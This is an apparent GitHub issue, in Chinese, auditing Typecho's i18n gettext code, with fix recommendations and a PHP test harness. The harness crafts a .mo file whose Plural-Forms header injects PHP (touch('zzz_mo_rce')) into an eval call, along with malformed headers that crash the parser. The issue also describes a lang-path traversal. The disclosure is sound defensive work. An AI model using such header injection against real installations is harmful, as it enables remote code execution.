#2017·typecho

Typecho's existing multilingual implementation has quite a few flaws.

Author: little-gtCreated Sep 5, 2026Updated Sep 5, 2026
Labelsbug

审计范围与方法

代码链install.php/Options\General(lang 选项来源)→ Widget\Init(拼路径)→ I18n::setLang/addLangGetTextMultiGetText(MO 解析/翻译/复数)。动态验证在 PHP 8.5.7 CLI 下用真实构造的 .mo 文件进行(留存在 tools/_audit_i18n_tmp/audit.php,可 php tools/_audit_i18n_tmp/audit.php 复现)。

验证结果

测试 结果
translate 多文件回退 失效:仅首个文件被查询
ngettext 多文件顺序 后写覆盖:且"未命中"会覆盖"已命中"
复数头 eval(cache=off) RCE 成立touch 成功执行)
复数头 eval(cache=on,默认运行时) 不可达(头部从未被加载)
畸形复数表达式(cache=off) 未捕获 ParseError → 致命
缺失文件析构 未捕获 TypeError: fclose(null)
截断/损坏 MO 构造阶段直接致命 TypeError

发现 1(中危,潜伏 RCE 原语):selectString() 对 MO 头 eval

361:376:var/Typecho/I18n/GetText.php

php
$string = $this->getPluralForms();
$string = str_replace('nplurals', "\$total", $string);
$string = str_replace("n", $n, $string);
$string = str_replace('plural', "\$plural", $string);
...
eval("$string");

.mo 头部 Plural-Forms: 内容经三次朴素替换后直接 eval。验证用的头部:

Plural-Forms: nplurals=2; plural=n==1?0:1; touch('zzz_mo_rce');//

cache=OFF 时调用 ngettext() → 磁盘上真实生成了 zzz_mo_rce代码注入确认);注入 @@@BROKEN@@@ → 未捕获 ParseError(DoS)。str_replace('n', $n) 会破坏含字母 n 的函数名,但仅限制了 payload 写法,不构成防护。

实际可达性:默认运行时(GetTextMultiGetText($file, true)loadTables() 缓存循环条件 table_originals[$i*2+1] > 0248:260)跳过 msgid="" 头部行,因此复数头永远读不到,cache 下 eval 输入固定为默认表达式、不可注入。该 RCE 仅当用 enable_cache=false + ngettext 才会触发——核心代码中只有 Options\General::getLangs() 用 cache=off 且只调 translate(),默认不可达,但这是"数据源驱动 eval"的高危设计,建议彻底消除。

建议:不信任二进制资源里的表达式。对 Plural-Forms 表达式做严格白名单(仅允许 n / nplurals / plural / 数字 / 比较符 / 三元 / 括号 / +-*/%)校验后再 eval,不匹配则回退默认规则;或直接实现一个微型复数表达式解析器,去掉 eval


发现 2(中危功能缺陷 + 发现 1 的放大器):cache 下复数头被丢弃

248:260:var/Typecho/I18n/GetText.php

php
if ($this->enable_cache) {
    $this->cache_translations = ['' => null];
    for ($i = 0; $i < $this->total; $i++) {
        if ($this->table_originals[$i * 2 + 1] > 0) {   // msgid 长度为 0 的头部被跳过
            ...

结果:运行时(cache=ON)getPluralForms()384:406)拿到的 cache_translations[""] 恒为 null任何语言的复数规则都被忽略,一律用英文默认式 nplurals=2; plural=n == 1 ? 0 : 1;。对法语(n>1)、俄语等 3 复数形态语言会产生错误索引,并导致 ngettext$list[$select] ?? ''170179)返回空串。同时这也"恰好"掩盖了发现 1 的 cache 路径——修复发现 2(放行头部)若不做发现 1 的校验,会直接把 RCE 变成默认可达,两处必须一起修


发现 3(中危功能缺陷):多 MO 叠加语义双向错乱

54:64:var/Typecho/I18n/GetTextMulti.php

php
foreach ($this->handlers as $handle) {
    $string = $handle->translate($string, $count);
    if (- 1 != $count) break;
}
  • GetText::translate() 的 cache 分支(117:133命中/未命中都不写 $num$count 保持初始 null-1 != null 恒真 → 永远在第一个 handler 后 break。实测 translate('beta')(仅存在于第 2 个文件)返回原文 'beta'
  • GetText::ngettext()145:182任何分支都不写 $num,而 GetTextMulti::ngettext75:87)又用 -1 初始化 → 永不 break → 全部 handler 执行且结果互相覆盖。实测:第 1 个文件命中 OUI、第 2 个文件未命中返回默认英文 'yes'已命中的翻译被默认值覆盖;两个文件都有时是"最后一个文件赢"(与 translate 的"第一个文件赢"自相矛盾)。

这正是 I18n::addLang()(插件语言包叠加,140:143)依赖的语义,当前实现下插件/主题语言包在非中文站点上要么不生效、要么被英文默认值覆盖。

建议:统一"首个命中即停"语义。cache 分支命中时置 $num 为索引、未命中置 -1GetTextMulti 仅在 $count != -1 时采纳结果并 break。


发现 4(低危/健壮性,潜在 DoS):异常 MO 导致未捕获致命错误

  • 析构 fclose(null)190:193):文件不存在时构造器走 short-circuit(73:76)返回,$STREAMnull,对象销毁即抛 TypeError。实测复现。触发路径:I18n::addLang() 未做 file_exists 防护时传入缺失路径(Helper::lang() 有防护,但插件可直接调用 addLang)。
  • 截断/损坏 MO 在构造阶段致命82:99219:223):unpack() 数据不足返回 falsearray_shift(false) / fseek(null) → 未捕获 TypeError。实测 8 字节 MO 直接致命;0 字节、错误 magic 且随后被 translate 的文件同理。由于 GetText 只在 file_exists 通过后构造,损坏文件落在语言目录即可让每次前端请求崩溃。

建议fclose 前判断 is_resource($this->STREAM);构造/建表解析失败时置 short_circuit = true(静默回退原文),而不是让异常冒泡。


发现 5(低危,纵深防御):lang 选项的路径拼接与白名单不足

84:88:var/Widget/Init.php

php
if ($options->lang && $options->lang != 'zh_CN') {
    $dir = ... __TYPECHO_ROOT_DIR__ . '/usr/langs';
    I18n::setLang($dir . '/' . $options->lang . '.mo');
}
  • install.php install_get_lang()31:48)直接信任请求参数/Cookie 的 lang无任何白名单校验即随默认选项写入 DB(255),值含 ../ 即可拼出 usr/langs/ 之外路径(受 .mo 后缀限制)。
  • 后台 Options\General210:219):lang 输入与 checkLang 规则仅在 count($langs) > 1 时才注册;而 Form::validate()167:191)只校验注册过的输入 → 在"语言目录无任何 .mo"(全新安装常态)时,管理员可提交任意 lang 值绕过白名单直接入库(需管理员权限 + CSRF,风险有限,但应修复)。

建议lang 在写入与加载两端统一用 basename() + 现有语言包键名白名单约束;Install 流程同样校验。


未发现问题(已确认安全)

  • MO 表偏移按 unpack 的 1-based 数组语义索引,内部自洽,无越界读写;
  • 单文件、cache=off 的 translate()getLangs 所用路径)工作正常;
  • I18n::init() 缺失文件时静默降级,无直接崩溃。

修复优先级建议

  1. 发现 1 + 发现 2 一并修复:去掉对 MO 头部内容的 eval(白名单/自研解析),并让 cache 模式正确读入头部,修正多语言复数规则。
  2. 发现 3:统一"首命中即停",补上 translate/ngettext$num 的赋值。
  3. 发现 4fclose 判资源、解析失败静默降级。
  4. 发现 5:加载/写入/安装三处对 lang 做白名单与 basename() 约束。

测试脚本

请在 `\tools_audit_i18n_tmp' 创建一个 PHP 文件,并且运行下面的 PHP 进行测试:

php
<?php
/**
 * Typecho i18n (var/Typecho/I18n) audit harness — builds real .mo files and
 * exercises GetText / GetTextMulti / I18n paths under the local PHP.
 */
declare(strict_types=1);

error_reporting(E_ALL);
ini_set('display_errors', '1');

$root = dirname(__DIR__, 2);
require $root . '/var/Typecho/I18n/GetText.php';
require $root . '/var/Typecho/I18n/GetTextMulti.php';

use Typecho\I18n\GetText;
use Typecho\I18n\GetTextMulti;

/* ---------- tiny MO builder (cache-friendly layout) ---------- */
function build_mo(array $map, string $header = ''): string
{
    if ($header !== '') {
        $map = ['' => $header] + $map;
    }
    $magic = pack('V', 0x950412de);          // little-endian magic
    $n = count($map);
    $origStr = '';
    foreach (array_keys($map) as $o) {
        $origStr .= $o;
    }
    $transStr = '';
    foreach ($map as $t) {
        $transStr .= $t;
    }
    $origBase = 28;
    $transBase = 28 + strlen($origStr);
    $ot = '';
    $tt = '';
    $po = 0;
    $pt = 0;
    foreach ($map as $o => $t) {
        $ot .= pack('VV', strlen($o), $origBase + $po);
        $po += strlen($o);
        $tt .= pack('VV', strlen($t), $transBase + $pt);
        $pt += strlen($t);
    }
    $origTab = 28 + strlen($origStr) + strlen($transStr);
    $transTab = $origTab + 8 * $n;
    $hdr = $magic . pack('V', 0) . pack('V', $n)
        . pack('V', $origTab) . pack('V', $transTab) . pack('V', 0) . pack('V', 0);
    return $hdr . $origStr . $transStr . $ot . $tt;
}

function line(string $s): void
{
    echo $s . PHP_EOL;
}

$dir = __DIR__;
$results = [];

/* ============================================================
 * A. Multi-file fallback semantics of GetTextMulti::translate()
 *    Intention: string missing in handler#1 should be looked up
 *    in handler#2 .. N (see GetTextMulti "多个mo文件").
 * ============================================================ */
$a = build_mo(['alpha' => 'A_ALPHA']);
$b = build_mo(['beta'  => 'B_BETA']);
file_put_contents("$dir/a.mo", $a);
file_put_contents("$dir/b.mo", $b);

$m = new GetTextMulti("$dir/a.mo");
$m->addFile("$dir/b.mo");

$t1 = $m->translate('alpha'); // in first file
$t2 = $m->translate('beta');  // only in second file
$results['A.translate.fallback'] = $t2; // expected 'B_BETA' if fallback works
line('A1 translate(alpha) = ' . var_export($t1, true) . '   (expect A_ALPHA)');
line('A2 translate(beta)  = ' . var_export($t2, true) . '   (expect B_BETA if multi-file fallback works)');
unset($m);

/* ============================================================
 * B. Order semantics of GetTextMulti::ngettext()
 * ============================================================ */
$pluralHeader = "Content-Type: text/plain; charset=UTF-8\nPlural-Forms: nplurals=2; plural=n==1?0:1;\n";
$mapA = ['count' . chr(0) . 'counts' => 'ONE_A' . chr(0) . 'MANY_A'];
$mapB = ['count' . chr(0) . 'counts' => 'ONE_B' . chr(0) . 'MANY_B',
         'other' . chr(0) . 'others' => 'OTHER_B'];
$pa = build_mo($mapA, $pluralHeader);
$pb = build_mo($mapB, $pluralHeader);
file_put_contents("$dir/pa.mo", $pa);
file_put_contents("$dir/pb.mo", $pb);

$m = new GetTextMulti("$dir/pa.mo");
$m->addFile("$dir/pb.mo");
$n1 = $m->ngettext('count', 'counts', 1);  // present in both
$n2 = $m->ngettext('other', 'others', 2);  // only in second
$results['B.ngettext.fallback'] = $n2;
line('B1 ngettext(count,1) = ' . var_export($n1, true) . '  (A or B ?)');
line('B2 ngettext(other,2) = ' . var_export($n2, true) . '  (expect OTHER_B if fallback works)');
unset($m);

/* ---- I. ngettext: hit in first file, miss in second -> result overwritten by default? */
$pa2 = build_mo(['yes' . chr(0) . 'yess' => 'OUI' . chr(0) . 'OUIS'], $pluralHeader);
$pb2 = build_mo([], $pluralHeader); // plugin file without 'yes'
file_put_contents("$dir/pa2.mo", $pa2);
file_put_contents("$dir/pb2.mo", $pb2);
$m = new GetTextMulti("$dir/pa2.mo");
$m->addFile("$dir/pb2.mo");
$i1 = $m->ngettext('yes', 'yess', 1);  // first file has it, second misses
$results['I.ngettext.overwrite'] = $i1;
line('I1 ngettext(yes,1) = ' . var_export($i1, true) . '  (expect OUI — first file hit)');
unset($m);

/* ---- H. translate() with enable_cache = false (getLangs equivalent) */
$ha = build_mo(['lang' => 'English']);
file_put_contents("$dir/ha.mo", $ha);
$g = new GetText("$dir/ha.mo", false);
$t = $g->translate('lang', $cnt);
$results['H.translate.cacheoff'] = $t;
line('H1 translate(lang) cache=off = ' . var_export($t, true)
    . ' (cnt=' . var_export($cnt, true) . ')');
unset($g);

/* ============================================================
 * C. eval() of plural-forms header — code execution probe
 *    GetText::selectString() eval()s a string taken straight from
 *    the .mo header after naive str_replace.
 *    NB: loadTables() skips the "" (msgid) header row when
 *    enable_cache = true, so the header plural-forms is only used
 *    when enable_cache = false.
 *    Payload uses function names WITHOUT letter "n" because every
 *    literal "n" is replaced by the number argument first.
 * ============================================================ */
$evilHeader = "Content-Type: text/plain; charset=UTF-8\n"
    . "Plural-Forms: nplurals=2; plural=n==1?0:1; touch('zzz_mo_rce');//\n";
$evil = build_mo(['x' . chr(0) . 'xs' => 'Y' . chr(0) . 'Z'], $evilHeader);
file_put_contents("$dir/evil.mo", $evil);
@unlink("$dir/zzz_mo_rce");

// C1 — default runtime configuration (enable_cache = true, GetTextMulti)
$g = new GetText("$dir/evil.mo", true);
$out = $g->ngettext('x', 'xs', 3, $n);
$created = file_exists("$dir/zzz_mo_rce");
line('C1 cache=ON  ngettext() = ' . var_export($out, true)
    . ' | header loaded? pluralHeader is private; infer via RCE file: ' . var_export($created, true));
@unlink("$dir/zzz_mo_rce");
unset($g);

// C2 — enable_cache = false (as used by Widget\Options\General::getLangs)
chdir($dir);
$g = new GetText("$dir/evil.mo", false);
try {
    $out = $g->ngettext('x', 'xs', 3, $n);
    $created = file_exists("$dir/zzz_mo_rce");
    line('C2 cache=OFF ngettext() = ' . var_export($out, true)
        . ' | RCE file created by eval() ? ' . var_export($created, true));
    $results['C.plural.eval'] = $created;
} catch (\Throwable $e) {
    line('C2 cache=OFF throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['C.plural.eval'] = get_class($e);
}
@unlink("$dir/zzz_mo_rce");
unset($g);

/* ============================================================
 * D. Malformed plural-forms -> ParseError (uncaught => fatal/DoS)
 * ============================================================ */
$badHeader = "Content-Type: text/plain; charset=UTF-8\nPlural-Forms: nplurals=2; plural=@@@BROKEN@@@;\n";
$bad = build_mo(['x' . chr(0) . 'xs' => 'Y' . chr(0) . 'Z'], $badHeader);
file_put_contents("$dir/bad.mo", $bad);
$g = new GetText("$dir/bad.mo", true);
try {
    $g->ngettext('x', 'xs', 3, $n);
    line('D1 malformed plural-forms cache=ON : NO exception (header not loaded)');
    $results['D.plural.parse'] = false;
} catch (\Throwable $e) {
    line('D1 malformed plural-forms cache=ON throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['D.plural.parse'] = true;
}
unset($g);

$g = new GetText("$dir/bad.mo", false);
try {
    $g->ngettext('x', 'xs', 3, $n);
    line('D2 malformed plural-forms cache=OFF : NO exception');
    $results['D.plural.parse2'] = false;
} catch (\Throwable $e) {
    line('D2 malformed plural-forms cache=OFF throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['D.plural.parse2'] = get_class($e);
}
unset($g);

/* ============================================================
 * E. Missing-file destructor: fclose(null)
 * ============================================================ */
$g = new GetText("$dir/not_exist.mo", true);   // short-circuit path
try {
    unset($g);
    line('E1 destructor on missing file: NO error');
    $results['E.destructor'] = false;
} catch (\Throwable $e) {
    line('E1 destructor on missing file throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['E.destructor'] = true;
}

/* ============================================================
 * F. Truncated MO header handling (empty read / unpack)
 * ============================================================ */
file_put_contents("$dir/trunc.mo", "\xde\x12\x04\x95\x00\x00\x00\x00");
try {
    $g = new GetText("$dir/trunc.mo", true);
    $r = $g->translate('x', $cnt);
    line('F1 truncated mo translate = ' . var_export($r, true));
    $results['F.truncated'] = 'ok';
} catch (\Throwable $e) {
    line('F1 truncated mo throws ' . get_class($e) . ': ' . $e->getMessage());
    $results['F.truncated'] = get_class($e);
}
unset($g);

/* ============================================================
 * G. General setLang semantics / missing main mo file
 * ============================================================ */
// replicate Widget\Init composition:
$optionsLang = 'en_US';
$path = $dir . '/langs/' . $optionsLang . '.mo';
line('G1 composed lang path = ' . $path . '  exists=' . var_export(file_exists($path), true));

line('');
line('=== SUMMARY ===');
foreach ($results as $k => $v) {
    line(str_pad($k, 28) . ' => ' . var_export($v, true));
}